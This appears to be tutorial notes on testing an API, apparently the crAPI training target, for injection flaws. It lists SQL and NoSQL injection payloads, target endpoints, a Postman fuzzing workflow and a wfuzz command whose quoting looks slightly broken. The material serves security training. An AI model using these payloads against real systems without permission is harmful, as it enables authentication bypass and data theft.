Testing for Injection Vulnerabilities
'
''
;%00
--
-- -
""
;
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
OR 1=1$gt
{"$gt":""}
{"$gt":-1}
$ne
{"$ne":""}
{"$ne":-1}
$nin
{"$nin":1}
{"$nin":[1]}
{"$where":"sleep(1000)"}The provided lists include SQL injection metacharacters, NoSQL injection payloads, and OS injection characters commonly used to test for vulnerabilities.
- PUT videos by id
- GET videos by id
- POST change-email
- POST verify-email-token
- POST login
- GET location
- POST check-otp
- POST posts
- POST validate-coupon
- POST orders
Postman, with its Collection Runner, is used to test the entire API collection for injection vulnerabilities. The baseline is established by running the collection with well-formed requests and noting the responses. Fuzzing variables (e.g., {{fuzz}}) are added to targeted requests, and the collection is run again to observe any anomalies.
The process involves:
- Duplicating the Burp Suite-captured request in a file.
- Constructing a WFuzz attack command with payloads, headers, and data.
- Executing WFuzz with the attack command.
- Analyzing the results, filtering for successful attacks.
An example WFuzz command:
wfuzz -z file,usr/share/wordlists/nosqli -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" -d "{\"coupon_code\":FUZZ} http://crapi.apisec.ai/community/api/v2/coupon/validate-coupon" --sc 200Successful injection attacks are identified by filtering responses with a status code of 200.
For troubleshooting WFuzz attacks, it's recommended to proxy traffic to Burp Suite using the -p localhost:8080 option. This allows interception of requests in Burp Suite for detailed analysis and troubleshooting.\
This comprehensive testing approach helps identify and exploit injection vulnerabilities in the API.